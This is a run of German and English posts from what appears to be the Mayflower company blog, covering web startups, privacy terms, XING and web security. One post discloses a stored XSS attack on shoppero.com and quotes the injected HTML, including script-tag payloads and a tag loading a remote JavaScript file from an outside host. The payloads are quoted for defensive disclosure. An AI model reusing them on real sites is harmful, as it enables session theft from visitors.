Mayflower Blog

Soeben erreichte mich folgende Pressemitteilung. Meine erster Gedanke: "Oh man..." - Leute, wo bleiben die Innovationen? Wie viele Twitter-Clones gibt es alleine in DE?

Sehr geehrte Damen und Herren,

die Spatzen zwitschern es von den Dächern: Der aktuelle Internet-Trend ist die Live-Kommunikation a la Twitter. Ein Pendant des beliebten Web-Dienstes steht ab sofort auch in deutscher Sprache zur Verfügung: Bei plappadu.com teilen die Nutzer dem Rest der Online-Welt im SMS-Stil mit, was sie gerade tun, wo sie gerade sind und was sie bewegt.

„plappadu.com ist wie Bloggen - nur viel kürzer und absolut live“, sagt Marcus Veigel, Geschäftsführer der Cynapsis GmbH, die das Portal für die F.N. Media GmbH aus Münster umsetzt. Während Blogger sich hinsetzen und ihre Gedanken und Erlebnisse mehr oder weniger ausführlich niederschreiben, erzählt sich die plappadu-Community in Echtzeit, was gerade anliegt.

Alle weiteren Informationen entnehmen Sie bitte der angehängten Pressemitteilung.

Testen können Sie das neue Angebot unter www.plappadu.com. Presseinformationen und druckfähiges Bildmaterial finden sich auch auf der plappadu-Webseite im Menüpunkt "Presse".

Ich begreif's nicht ... und der Name erst ...

We are proud to announce our new startup company SektionEins which is going to be a Cologne based GmbH (German for "limited").

In the last two years we at MAYFLOWER have had the chance to do a lot of Security Audits and Security Consulting. We created an easy and free to use Security Scanner called Chorizo and contributed security patches to several Open Source projects.

Part of this work was the cooperation with people like Johannes Schlüter and Stefan Esser. Since Stefan just finished university and our security department has a lot of work to do, we decided to join forces and create SektionEins. SektionEins specializes in Web Application Security, supporting every web platform available out there. Of course there is some special knowledge in the area of PHP included and the Chorizo and Consulting experience does add a lot of Web2.0 knowhow.

With SektionEins both Suhosin and Chorizo found a new home. And so does Web Application Security. If you want to contact us regarding Security Audits, Consulting or Security Trainings you can reach us at info at sektioneins dot de. We also do international Audits.

Today start the webinale and International PHP Conference Spring Edition. The lineup is again very good, with internationally renowned speakers. As usual, today is the pre-conference day with PowerWorkshops and on Tuesday and on Wednesday the main conference will happen. webinale is a conference about Web2.0, and International PHP Conference is, guess what, about PHP :-).

See you in Ludwigsburg!

Nebenstehendes habe ich heute irgendwo auf einem Blog gefunden.

Das Problem ist hier scheinbar, dass in der Sidebar des Blogs ein externer Dienst eingebunden wird. Ein Lookup beim Diensteanbieter selbst und dem Infofilmchen zeigt, dass man sich serverseitige Scripte (PHP/Perl) generieren lassen kann, die man dann ins Blog einbinden kann. Konkret geht es hier um Linkvermarktung, und Blogger können dann in der Sidebar dieses Scriptchen einbinden, dass dann vom externen Diensteanbieter die AdLinks holt und diese dann in die Sidebar ausgespuckt werden.

Im ersten Moment an sich keine schlechte Idee, und auch ein toller Service, denn viele Blogs sind in PHP/Perl geschrieben und eine Einbindung scheint da einfach, zumal man als Betrachter kein JavaScript benutzen muss. Der Nachteil allerdings ist, wenn wie hier offensichtlich eine Fehlbedienung vorliegt und das Blog - aus welchem Grund auch immer - den integrierten Quellcode nicht ausführt, sondern einfach als Text anzeigt.

Wo ist dann jetzt genau das Problem? Nun, ein großes Problem ist sicherlich, dass der serverseitige (PHP-)Quellcode hier einfach in der Sidebar steht und über "View HTML Source" zur näheren Betrachtung extrahiert und abgespeichert werden kann. Viel "schlimmer" ist allerdings, dass der Quellcode Informationen zum Account des Blognutzers beim externen Diensteanbieter enthält. Hier also eine Art adspaceid, die keinem Integer Wert entspricht, sondern aus dem Hexadezimal-Raum besteht. Für einen potenziellen Angreifer ist dies recht nützlich, denn im Zuge der Informationsgewinnung konnte hier die ID eines echten Nutzeraccounts gewonnen werden, an die man sonst vielleicht nicht gekommen wäre (wobei man dies allerdings relativieren muss, viele JS-Widgets übergeben ja auch eine Art accountid an den externen Dienst). Desweiteren ist aus dem Quellcode zu entnehmen, wo das beim externen Diensteanbieter serverseitige Script liegt, dem die adspaceid übergeben wird und das dann die AdLinks zurückgibt, so dass man hier auch direkt weitere Informationen enthält, die sich für einen potenziellen Angriff beim externen Diensteanbieter nutzen lassen.

Zusätzlich bekommen wir noch Informationen über die Autoren der serverseitigen Scripte. Aus der Programmierweise könnte sich ableiten lassen, wie eventuell der Rest der Software beim externen Diensteanbieter programmiert ist, so dass sich Rückschlüsse daraus ziehen lassen könnten, wo man bei einem potenziellen Angriff noch ansetzen könnte. Die Referenz auf das externe Script ist mit der endung .php5 markiert. Wenn ich per telnet einen HEAD / HTTP/1.0 Request auf Port 80 des externen Diensteanbieters mache, dann sehe ich, dass expose_php vorbildlich auf Off gesetzt wurde, demnach die Webserver-Signatur (Apache 2.0.54) keine Auskunft darüber gibt, welche PHP-Version eingesetzt wird. Dank der Benamung auf .php5 wissen wir jedoch jetzt, dass PHP5 eingesetzt wird.

Was kann man daraus lernen? Meines Erachtens zwei Dinge:

1. Als Blogger sollte man sein Blog gut konfigurieren und bei Änderungen lieber 2x nachschauen als nur flüchtig 1x. Klar, wie immer gilt auch hier, man ist auch nur ein Mensch, und Fehler können passieren
2. Als Diensteanbieter mag es schön sein, für den Kunden (hier: der Blognutzer) serverseitige Scripte zu generieren (noch dazu vorbildlich nach PHPDoc dokumentiert), die dieser dann extern einbinden kann. Der augenscheinliche Vorteil liegt hier darin begraben, dass ein Besucher des Blogs kein JavaScript benötigt um sich dieses Widget anzusehen. Dies wird jedoch dadurch konterkariert, dass eine gewisse Restgefahr bleibt, dass der serverseitige Code nun doch nicht serverseitig bleiben wird, wie hier geschehen. Insbesondere hat man als Anbieter von Diensten und Services eine besondere Verantwortung gegenüber den Nutzern/Kunden. Dass dies im Zuge der teilweise extrem kurzen Releasezyklen im Web2.0-Zeitalter manchmal hinten unter fällt, konnte man in der jüngsten Vergangenheit leider häufiger beobachten.

Also doch lieber die Einbindung von Widgets via JavaScript?

Gerade in einem Kommentar drüben bei mousekiller.de gestolpert, zum vergangenen AGB-/Datenschutz-GAU bei shoppero:

Nette Sache … nur § 3 vom “Datenschutz” ( http://tinyurl.com/2jn7pg ) stört mich persönlich sehr und hält mich von der Nutzung dieses Dienstes ab.

Darauf hin die Antwort eines anderen Users:

Dieser Punkt würde mich jetzt nicht wirklich stören. Das ist doch 1.) schon fast Standard und zweitens machen es die meisten auch ohne Einwilligung. (ob das rechtskonform ist, darüber wird noch gestritten)

[...]

Na dann, Mahlzeit.

Der §3 in den Datenschutzbestimmungen ist übrigens noch drin. Was ich mich frage: werden die Nutzer dann auch daran beteiligt, wenn sie per E-Mail Werbung von Produkten Dritter, durch shoppero.com versandt, empfangen? Wäre doch eine prima Ergänzung zum Erlösmodell, an dem der Nutzer über das Web partizipieren darf - oder gehört der Passus evtl. auch noch zu den "Altlasten"? Ich kenne sowas zum Beispiel nur von Mailinglistenhostern, die gratis Mailinglisten anboten, man sich aber im Gegenzug dazu verpflichten musste, Werbung von Produkten Dritter (E-Mails durch den Betreiber versandt) erdulden zu müssen. Dafür gab's die Mailingliste eben kostenlos. Aber bei shoppero?

via Robert und dem popnutten Blog bin ich auf die Diplomarbeit zu "Agile Programmierung im Neuen Web" gestoßen. Der dazugehörige Blog-Eintrag im mite Blog sagt:
"Was macht es neu, das Neue Web? Was ändert das ‘neu’ an den Strategien, ein Produkt wie mite zu entwickeln? Was ändert sich auf Programmiererseite, im Produktmanagement, im Projektmanagement? Was hat ein Begriff wie Leidenschaft im Softwarebereich zu suchen, bitte?" und "Die Arbeit steht unter dieser Creative Commons Lizenz. Lesen, weitergeben, verfielfältigen, remixen, kritisieren, verbessern ist mehr als erwünscht, solange die Nutzung nicht-kommerziell erfolgt und ihr unsere Namen nennt. Wir haben uns während der Recherche über jede zugängliche Arbeit gefreut, und hoffen, so unseren kleinen Teil zurückgeben zu können. Viel Vergnügen!"

Indes macht der Abstract der Diplomarbeit neugierig:
"Iterative und agile Softwareentwicklungsmodelle führen zu einer Verbesserung der Qualität des Produkts, zu einer erhöhten Zufriedenheit der Kunden sowie zu einer Steigerung der Produktivität im Entwicklungsteam. Die Strömung, Funktionalität von Desktop-Anwendungen ins Web zu transferieren, erfordert in Kombination mit raschen Veränderungen des Produktumfelds die Adaption agiler Werte, Prinzipien und Praktiken an neue Grundannahmen.
Zielsetzung dieser Diplomarbeit ist der Entwurf eines ganzheitlich agilen Ansatzes für die Produktentwicklung im Neuen Web, unter Miteinbeziehung der Bereiche Produkt- und Projektmanagement.
Anhand der Entwicklung und Markteinführung einer Webanwendung zur Zeiterfassung für Freiberufler und kleinere Unternehmen der Medienbranche soll das Modell auf seine Tauglichkeit in der Praxis überprüft werden.
Die Ergebnisse der Arbeit zeigen, dass im Neuen Web mit einem kleinen Team und einem gegen Null tendierenden Marketingbudget in Orientierung am entworfenen agilen Modell erfolgreich eine Webapplikation entwickelt und auf dem deutschsprachigen Markt positioniert werden kann, die von einer kontinuierlich wachsenden Anwenderschaft mit Zufriedenheit eingesetzt wird."

Für die Entwickler unter uns wird es erst ab Seite 45 so richtig interessant. Davor folgt eine meiner Meinung nach etwas langatmige Auflistung der typischen Web2.0 Dienste wie Flickr, YouTube usw., der Wichtigtuerei rund um Blogs (tendenziöse Wertung von mir, aber was soll ich auch schon anderes denken, wenn das "Person of the Year: YOU" Cover der Time in der Diplomarbeit abgehandelt wird?), und einer wichtigen, allgemeinen Erklärung der einzelnen Webtechniken/Begriffe wie AJAX und XMLHttpRequest.

Aber wir waren ja bei Seite 45 resp. Kapitel 3 stehen geblieben. Es folgt die Einführung in das Wasserfallmodell, das sich für sequenzielle Entwicklung gut eignet, aber wohl bei "moving targets", also beweglichen Zielen passen muss. Danach schwenkt die Arbeit über in iterative Entwicklung, agile Entwicklung und landet dann natürlich auch beim Agilen Manifest. eXtreme Programming, RUP und Konsorten dürfen nicht fehlen. In Kapitel 5 geht es dann ans Eingemachte: ab hier beschreiben die Autoren ihren Weg von der Auswahl des Frameworks bis hin zur fertigen Software, mite eben. Ebenfalls werden die Iterationen in der Entwicklung beschrieben und Schwierigkeiten beleuchtet, sowie eine Analyse über die Aufmerksamkeit für und den Erfolg vom Produkt abgehandelt.

Die Autoren schliessen mit dem Fazit: "Die Ergebnisse der Arbeit zeigten, dass im Neuen Web in Orientierung am entworfenen ganzheitlich agilen Modell erfolgreich eine Webanwendung entwickelt werden kann, die der Benutzer mit Zufriedenheit neben seinen Desktopanwendungen einsetzt. Pflegt das Unternehmen eine offene und ehrliche Kommunikationskultur, lässt sich das Produkt mit einem gegen Null tendierenden Marketingbudget unter Nutzung der Strukturen des Neuen Webs auf dem (deutschsprachigen) Markt positionieren."
So sei es, und mal sehen, ob sich der erste gute Eindruck auch bei näherem Hinsehen bewährt.

Daneben finde ich es schön, dass sich die Creative Commons Lizenz immer mehr durchsetzt (man beachte dazu auch diese und jene Erweiterungen auf sevenload).

Gerade eben im Skype-Kontaktstatus von Alexander Schwinn entdeckt: dem Alex sein Blog, "API 2.0 Blog" (Blog über eBay Webservices, offene APIs, Web 2.0 & E-Commerce 2.0) genannt. Lesenswert!

Wer ihn noch nicht kennt: Alexander Schwinn ist einer der deutschen eBay'er. War letztes Jahr auf der International PHP Conference auf dem Management Day und hat einen klasse Vortrag gehalten (Slides hier).

Lieber Chris von FIXMBR (auch lesenswert, und angesichts der aktuellen Aufregerdebatte rund um den Lynchmob, die durchs Kleinbloggersdorf getragen wird, sollte man fixmbr verfolgen), das war nun mal wieder ein Linkdump-Beitrag.

Ein meiner Meinung nach überfälliger Schritt, um den Namen "Open Business Club" los zu werden. Wie in der Tagesordnung (PDF) für die kommende Hauptversammlung am 13. Juni 2007 der aktuell noch Open Business Club AG zu entnehmen ist, möchte sich die Gesellschaft in die XING AG umbenennen:

Vorstand und Aufsichtsrat schlagen vor, zu beschließen:

a) Die Name der Gesellschaft wird in XING AG geändert.
b) Ziffer 1.1 der Satzung wird wie folgt neu gefasst:

„Die Name der Gesellschaft lautet: XING AG.“

Bei paulinepaulines Nachklapp zur re:publica lese ich folgendes:

Die Xing-Community, bzw. Die Entwickler haben sich von Xing eine Api gewünscht. Xing hat darüber nachgedacht und ist auf diverse Probleme gestoßen.
Interessante Daten, die man sinnvoll weiterverarbeiten könnte, sind die Kontaktdaten. Nur, Kontaktdaten sind sensible Daten. Der User muss zustimmen, ob seine Daten weiterverarbeitet werden dürfen. Der Einwand, dass die Daten doch auch auf Xing sichtbar sind, hilft nicht viel, da es datenschutzrechtlich einen Unterschied macht, ob man die Daten einsehen oder sie maschinell weiterverarbeiten kann. Geht also nicht so einfach.

Was könnte Xing tun?

• Die AGBs ändern. Wäre ein riesen Gau, wenn da plötzlich drin stehen würde, dass die Daten an Dritte weitergegeben würden, und man nicht mal sicher sagen kann, an wen genau und was damit passiert. Geht also nicht.
• Dem User eine Einverständniserklärung nachträglich abverlangen. Bringt nicht viel, weil das sicherlich nicht viele tun werden, und was will man schon mit nur einem Bruchteil der Daten.

Nächstes Problem:

Was kann man eigentlich mit den Kontaktdaten sinnvolles anfangen? Eine Visualisierung der Standorte auf Google-Maps. Bei Google-Maps lächeln schon alle müde, aber eine andere Verwendung ist auch sonst keinem eingefallen.

So, das war’s. Der Workshop endete ziemlich ratlos. Schade eigentlich, aber der Datenschutz in Deutschland scheint da einen dicken Strich durch die Rechnung zu machen. Jetzt muss Xing nur noch mit dem Zugzwang zurechtkommen, eine Pressemeldung über eine API veröffentlich zu haben, und nun keine Möglichkeit für deren Umsetzung zu sehen.

Tja - zu früh gefreut? :-)

Ich bin gerade noch dabei, die Resonanz im Einzelnen auszuwerten, aber eines nur kurz, weil es wichtig ist: Selbstverständlich geht es bei Shoppero überhaupt nicht darum, dass wir die Userdaten an Dritte verkaufen. Diesen Passus streichen wir am Montag aus den Datenschutzbestimmungen, denn er ist für uns absolut unwichtig. Warum er drin stand? Wir waren jung und brauchten schnell Datenschutzbestimmungen.

Nico Lumma in "Am Tag danach" auf dem shopperco.com Blog.

Ich finde es gut, dass dieser Passus gestrichen wird. Es sei noch mal gesagt, dass ich nichts gegen Werbezusendungen Dritter habe, aber dann mit bewusstem Einverständnis der User. Zu "Wir waren jung und brauchten schnell Datenschutzbestimmungen" will ich jetzt lieber mal nichts sagen, und es auch dabei bewenden lassen. Ich wünsche viel Erfolg zu diesem teils neuartigen Konzept und hoffe, dass shoppero.com erfolgreich sein wird. Jochen Krisch von Exciting E-Commerce erläutert, was an diesem Konzept so besonders ist - ich bin gespannt, ob und wie es sich in der Zukunft bewährt.

Grundsätzlich sollte man sich als Nutzer jedoch AGBs, Datenschutzbestimmungen und sonstige Regelungen eines Services, den man in Anspruch nehmen möchte, genau durchlesen, bevor man einen Service in Anspruch nimmt. Und Betreiber sollten die Investition zur Ausarbeitung von AGBs/Datenschutzbestimmungen nicht scheuen, um späteren Ärger zu vermeiden.

AGBs und Datenschutzbestimmungen sind wichtig, insbesondere bei E-Commerce Diensten. Wenn man sich einmal intensiver damit beschäftigt, stellt man fest, dass man vor jeder Registration bei einem Service sich AGBs und Datenschutzbestimmungen genau durchlesen sollte. Zweifelt man an der Integrität des Betreibers, so lohnen sich Dienste wie spamgourmet.com, die Einmal - E-Mail Adressen zur Verfügung stellen. Bei einigen der Services kann man auch definieren, wie viele E-Mails man zugestellt bekommen möchte (zum Beispiel 2), und danach wird der Account zugemacht.

Shoppero ist ja momentan in aller Munde. Grund genug, mal einen Blick in die AGBs zu werfen:

§ 6 Datenschutz Es gelten die Datenschutzbestimmungen des Betreibers.

Aha. Schauen wir in die Datenschutzbestimmungen:

§ 3 Werbung, Markt- und Meinungsforschung, Werbewiderspruch
(1) Der Betreiber ist berechtigt, die personenbezogenen Daten des Nutzers auch zum Zwecke der Werbung und Markt- und Meinungsforschung zu nutzen. Die Werbung kann dabei auch für andere Produkte als diejenigen des Betreibers erfolgen. Auch in diesen Fällen findet der E-Mail-Versand durch den Betreiber statt. Der Nutzer ist insbesondere mit dem Empfang solcher E-Mails einverstanden.
(2) Der Nutzer willigt in die Erhebung, Verarbeitung und Nutzung der Daten zu den vorgenannten Zwecken ein.

§ 4 Einsehbarkeit der Daten durch Dritte, Weitergabe der Daten an Dritte, Verwendung der Daten in anderen Medien
(1) Eine Einsicht des Betreibers in die privaten Online-Kommunikationen der Nutzer findet nicht statt.
(2) Der Nutzer willigt in die Weitergabe seiner E-Mail-Adresse an Vertragspartner des Betreibers zum Zwecke der Werbung für Produkte und Leistungen dieser Vertragspartner, Markt- und Meinungsforschung ein. Die Vertragspartner des Betreibers sind berechtigt, dem Nutzer entsprechende E-Mails zuzusenden und der Nutzer ist mit dem Empfang solcher E-Mails einverstanden. Dieser Weitergabe kann der Nutzer jederzeit, auch nach Erteilung der Einwilligung, mit Wirkung für die Zukunft gemäß § 8 widersprechen. Nach erfolgtem Widerspruch ist eine Weitergabe der E-Mail-Adresse für diese Zwecke unzulässig.
(3) Der Diensteanbieter ist berechtigt, Auskunft an Strafverfolgungsbehörden und Gericht für Zwecke der Strafverfolgung zu erteilen, sofern infolge von Beschwerden begründete Verdacht des Missbrauchs besteht. Ein solcher Missbrauch liegt vor, wenn das Profil unter Verletzung gesetzlicher Vorschriften oder entgegen der Regelungen der AGB des Betreibers genutzt wird.

Ich bin jetzt wirklich kein Experte, aber sowas finde ich doof. Warum kann ich nicht als User explizit und wissentlich nach der Anmeldung sagen "Tolle Sache, ich will Werbung von Euren Vertragspartnern an meine bei Euch registrierte E-Mail Adresse bekommen"? Stattdessen muss ich beim Registrieren des Accounts die AGBs und damit auch diese Datenschutzbestimmungen zunächst einmal einwilligen und kann dann nur später (wenn ich überhaupt davon weiß) das widerrufen.

Besonders kundenfreundlich ist das doch nicht. Vielleicht sind aber auch die AGB und Datenschutzbestimmungen noch etwas beta. Lanu hat dafür eine andere Bezeichnung parat.

Zum kurzen Vergleich ein Auszug aus den Datenschutzbestimmungen von dealjaeger.de, die laut einem Blogposting bei deutsche-startups.de ja einen ähnlichen Service planen. Wenn ich mir diese Datenschutzbestimmungen anschaue, finde ich die schon wesentlich kundenfreundlicher:

Nutzung und Weitergabe von personenbezogenen Daten

1. Dealjaeger.de verarbeitet und nutzt deine Bestandsdaten vorrangig für die Begründung, inhaltliche Ausgestaltung und Änderung des zwischen dir und Dealjaeger.de bestehenden Vertragsverhältnisses. Die erhobenen Nutzungsdaten nutzt Dealjaeger.de darüber hinaus auch zur bedarfsgerechten Gestaltung deines Benutzerprofils.
2. Mit deiner Einwilligung nutzt Dealjaeger.de deine E-Mail-Adresse für die Versendung von Mitteilungen zur Beratung, zur Werbung für eigene Angebote und zur Marktforschung. Wir weisen dich darauf hin, dass du deine Einwilligung zur Versendung weiterer Nachrichten jederzeit durch eine E-Mail an service@dealjaeger.com widerrufen kannst. Der Widerruf erstreckt sich allerdings nicht auf die Versendung solcher Informationen, die fester Bestandteil der Dienste von Dealjaeger.de sind. Deine Einwilligung speziell zur Zustellung von Newslettern kannst du widerrufen, indem dem dem Link am Fuße jedes Newsletters folgst.
3. Deine personenbezogenen Daten werden von uns vertraulich behandelt. Dealjaeger.de verkauft oder vermietet deine personenbezogenen Daten nicht an Dritte. Eine Weiterleitung deiner Daten an dritte Unternehmen erfolgt nur, wenn dies zum Erhalt oder Ausbau des Angebotes von Dealjaeger.de erforderlich sein sollte. Soweit andere Unternehmen von Dealjaeger.de mit der Erbringung von Diensten für Dealjaeger.de beauftragt werden, z. B. mit der Verarbeitung und Zustellung von Nachrichten, der Erbringung von Kundendiensten oder der Erstellung von statistischen Analysen, werden diese Unternehmen von Dealjaeger.de ebenfalls zur Gewährleistung der Geheimhaltung der übermittelten personenbezogenen Daten verpflichtet und dürfen diese Daten für keinen anderen Zweck als den von uns genannten verwerten.
4. Dealjaeger.de ist verpflichtet, mit Behörden, insbesondere Strafverfolgungsbehörden und Gerichten, zusammenzuarbeiten und kann in diesem Zusammenhang auch genötigt werden, personenbezogene Daten weiterzuleiten, um Anfragen von Ermittlungsbehörden oder Gerichten zu beantworten.
5. Im Rahmen des Vertragsverhältnisses erhobene Bestandsdaten werden in der Regel mit Ablauf des auf die Beendigung des Vertragsverhältnisses folgenden Kalenderjahres gelöscht oder ggf. gesperrt.
6. Bei Verstößen gegen die AGBs oder gegen die geltenden gesetzlichen Bestimmungen sowie bei Verletzung der Rechte Dritter behält sich Dealjaeger.de das Recht vor, die Bestandsdaten seiner Mitglieder auch über die Kündigung oder Sperrung des Benutzerprofils hinaus für einen angemessenen Zeitraum bis zur Klärung des Sachverhalts zu speichern.

Klar, niemand ist perfekt, gerade in der heutigen schnelllebigen Zeit, wo neue Services und Websites im Wochentakt ausgespuckt werden. Ich kann daher nur die Verwendung von Diensten wie spamgourmet.com empfehlen. Das tut uns Marketers zwar weh, weil wir nicht wissen wer das da ist, der meinen Service nutzt und man ihn nicht mit Werbung zuballern kann, aber so ist das nun mal. Kunden, die Werbung wollen, sollten überzeugt davon sein, dass sie Werbung haben wollen, und nicht per se den Freibrief zum Werbeempfang per E-Mail geben. Naja, aber vielleicht kann man auch hier noch mal nachlegen und die Bestimmungen etwas kundenfreundlicher gestalten.

Ein kleines Update zum vorherigen Beitrag: der Nutzer "lars" schien harmlos zu sein. Schaut man sich den HTML-Quellcode näher an, kommt ein altbekanntes Gesicht zum Vorschein:

		
<div class="listitem searchlists">
		<a href="index.php?action=lists&subaction=show_detail&list_lookup_id=111128">
<img class="listthumb" src="http://s3.amazonaws.com/product_thumbs/" alt="" title=""/></a>
		<span class="listtitle">"><script>alert(1)</script></span><br />

		"><script>alert(1)</script><br />
		<span class="addedby">Erstellt von lars</span>
	</div>
		<div class="listitem searchlists">
		<a href="index.php?action=lists&subaction=show_detail&list_lookup_id=111129">
<img class="listthumb" src="http://s3.amazonaws.com/product_thumbs/" alt="" title=""/></a>
		<span class="listtitle">"><script>alert(1)</script></span><br />

		"><script>alert(1)</script><br />
		<span class="addedby">Erstellt von lars</span>
	</div>
		<div class="listitem searchlists">
		<a href="index.php?action=lists&subaction=show_detail&list_lookup_id=111130">
<img class="listthumb" src="http://s3.amazonaws.com/product_thumbs/" alt="fnord fnord">fnord
<script src=http://o01o.f-4" title="fnord fnord">fnord<script src=http://o01o.f-4"/></a>
		<span class="listtitle">"><script src=http://o01o.f-451.net/a.js></sc</span><br />
		"><script src=http://o01o.f-451.net/a.js></script>foo<br />
		<span class="addedby">Erstellt von fukami</span>

fukami.

Ich wollte Nico Lumma zum Launch von shoppero.com beglückwünschen und wie es sich unter Kollegen gehört per E-Mail noch ein paar Verbesserungswünsche (auch aus sicherheitstechnischer Sicht) zum Launch zumailen. Über die Vorstellung eines sogenannten Adgets in einem Blog und der allgemeinen Kritik am Konzept im E-Commerce Blog (die ich übrigens nur bedingt teile, da ich es gut finde, dass neben Adical auch noch der eine oder andere - ähnliche - Mitbewerber auf den Markt kommt) kam ich auf die Empfehlungsseite bei shopper.com. Dann habe ich ein bißchen rumgebrowst und bin u.a. auf der URL http://shoppero.com/index.php?action=lists&subaction=search_by_letter&letter=t (die ich jetzt absichtlich NICHT verlinke: aktuell ist es so, wenn Ihr dort drauf klickt, findet eine Second Order XSS Attacke (persistentes XSS, auch Type-2 XSS genannt - das die Basis für JavaScript-Viren ist, siehe z.B. den MySpace Wurm vor einigen Jahren) von einem registrierten Nutzer statt, der Eure Session entführt, bitte daher also mit einer frischen Browser-Session ohne irgendwelche anderen offenen Tabs/Logins etc. anschauen!) stehen geblieben. Die folgenden Screenshots sollen einfach mal ohne Worte verdeutlichen, wie gefährlich mangelnde Sicherheit sein kann. Nico ist bereits per E-Mail benachrichtigt, und ich gehe davon aus, dass der Nutzer schnell entfernt werden wird und die potenziellen Bugs geschlossen werden.

Die Thumbs sind auf die Originalgröße verlinkt.

Aufruf der URL. Alles erst mal noch ganz harmlos. Ausgabe der Liste stockt.


Nun wird per XSS ein JS Alert (sieht man hier gerade nicht im Screenshot) ausgegeben.


Meine Session-ID wird angezeigt. Gott sei Dank bin ich nicht dort registriert und auch nicht eingeloggt, sonst hätte der Angreifer eine gültige Session und damit auch möglicherweise einen gültigen Login.


Danach erfolgt ein Redirect auf eine Site des Angreifers.

Das war purer Zufall, dass ich diese Second Order XSS Attacke eines anderen Nutzers entdeckt habe. Diese möchte ich hier dokumentieren, um zu verdeutlichen, wie wichtig es gerade im Bereich E-Commerce, in dem es immerhin um Transaktionen und auch Geld geht, ist, seine Site so sicher wie möglich zu machen. Zur Erklärung: die Site ist per se nicht unsicher. In diesem Beispiel ist es so, dass scheinbar der Blätter-/Anzeigemechanismus der Empfehlungen der User anfällig ist für so genannte second order XSS Attacken. Dh. ein Angreifer konnte wohl in Profildaten oder Produktbeschreibungen speziellen JavaScript-Code hinterlassen. Dieser wird dann bei Durchsicht ausgeführt, wenn ein Nutzer auf obige URL klickt. Das ist deswegen möglicherweise so gefährlich, weil die XSS Attacke genau dort auftritt, wo viele Nutzer vermutlich auch hinkommen werden, nämlich beim Durchblättern der User/Angebote. Anders als bei "normalen" XSS Attacken, wo der Angreifer direkt einen Nutzer zur Ausführung einer URL bringen muss (z.B. durch Versand einer E-Mail oder wie im gestrigen Beispiel Verkürzung einer URL), kann man hier in aller Seelenruhe den Schadcode in die potenziell verwundbare Applikation einbringen und muss dann nur warten, bis die Nutzer auf diese Seite gehen und kann "die Früchte ernten", also die Nutzersessions.

UPDATE: für eine "Analyse" des HTML-Sourcecodes siehe den Folgebeitrag.

UPDATE 2: Auf dem fixmbr Blog, genauer gesagt in den Userkommentaren, scheint man schon bereits gestern Abend auf diese Lücke gestoßen zu sein.

Wie bereits an verschiedenen Orten schon erörtert wurde, wurde das "Genie in a bottle" bzgl. HD-DVD rausgelassen, und hat es sogar bis in die Mainstream-Medien geschafft.

Gähn. Kann sich noch jemand an den Fall Compuserve & Usenet aus, lasst mich grübeln, anno 1995 erinnern (oder die Usenet Gruppe de.alt.sex.children, die sich mitnichten um Kinderpornographie, sondern um Zensur/Datenschutz drehte)? Was im neuen Hype von Web2.0 und der allgemeinen Bloggeritis als Bohei, "Wir sind das Volk" und "Wir haben endlich die Macht" nun durchs Dorf getrieben wird, war schon vor zwölf Jahren (mein Gott, ist das lange her) "normal", die "selbstreinigende Kraft" des Usenet (erinnert sich noch jemand an die Flamewars aus de.admin.*?) bzw. ihrer Mitglieder, die vielbeschworene "Schwarmintelligenz", von der man heute bei Wikipedia und anderen auch redet. Ich habe allerdings nur das Gefühl, dass dieses Phänomen damals von den Teilnehmern/Postern am Usenet gar nicht so egozentrisch-wichtig genommen wurde, wie es heute manche beschwören.

Hachja, was für ein Bohei da doch gemacht wird. Gebt mir mein Usenet von damals wieder, mit UUCP *sniff*.

Today I had a phone conference with a client about a security audit we conducted on their application. We stepped through the report where we talked about XSS and especially CSRF, and we told them that it might be pretty easy to trick somebody into clicking on a link which conducts a request to your application (in case of CSRF) or calls a prepared link which utilizes your vulnerable application to inject bad JavaScript code (as in XSS).

Today and tomorrow, there's a popular conference here in Germany that deals with Web2.0, called next07 from the German multimedia agency SinnerSchrader. As cool as in the term Web2.0, their partner cellity set up a twitter account which will be regularly displayed via a beamer live at the conference. Attendees and non-attendees can then twitter their messages to this account when adding themselves as a group/friend.

I stumbled upon a blog entry (I'm not at the conference) that tells us to watch the live twitter feed. While having a look at it, I had the telephone conference from today in mind. If you look at the screenshot, you see somebody posting a tinyURL link. While tinyURL is a very good service, it could be used to hide XSS prepared links so that you can't see at a first glance that it might be a malicious link. Luckily, the link from the screenshot points to a PR website.

So, how does it harm users? The goal for an XSS attacker is to trick you into clicking on a link he sends you. This could either be via (HTML) e-mail, or via popular services like twitter. If I would be an attacker and I would know that a lot of people are very active members of (insert your favourite social network here).com, permanently logged in, and are also very active members of such a popular messaging service like twitter, the users could be harmed very easy by posting a message to a service like twitter with a prepared URL. The nature of the "Web2.0 crowd" is that they are constantly and very actively consuming URLs/information without thinking about where they are clicking. So this would be a very effective distribution channel of XSS links.

Of course, there may be other and more easier ways to foist a link to users (for example, the same goes for posting short links or prepared images in forums), but as twitter is currently a service that gets a lot of hype, it could be used for such Second Order Attacks very easy (somebody remembers the popular XSS worm on MySpace some years ago?).